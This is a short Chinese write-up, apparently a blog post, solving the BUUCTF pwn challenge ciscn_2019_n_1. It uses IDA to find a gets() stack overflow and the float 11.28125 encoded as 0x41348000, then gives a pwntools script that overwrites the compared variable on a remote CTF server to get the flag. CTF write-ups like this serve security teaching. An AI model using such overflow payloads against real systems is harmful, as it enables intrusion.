BUU pwn ciscn_2019_n_1 //寻找float表示
BUU ciscn_2019_n_1
首先file,是64位elf
IDA,发现main函数会调用func函数,而func中如果v2=11.28125,就会cat /flag,并且上面有个gets,存在栈溢出漏洞
压栈的过程是v1的44字节,然后压栈v2,但是v2是一个float,该如何表示呢?
我们需要找到gets附近的汇编代码,可以看到call gets后就是if语句的逻辑
- 将[rbp+var_4]的内容赋给了xmm0。这个[rbp+var_4]就是栈中的v2
- 然后使用ucomiss进行单精度浮点数比较cs:dword_4007F4和xmm0的值,cs:dword_4007F4就是11.28125的位置,双击可以看到它表示为41348000h
所以可以构造payload,填入44字节+41348000h即可获得flag
from pwn import * p = remote("node4.buuoj.cn",29450) payload = b'0'*44 + p64(0x41348000) p.sendline(payload) p.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!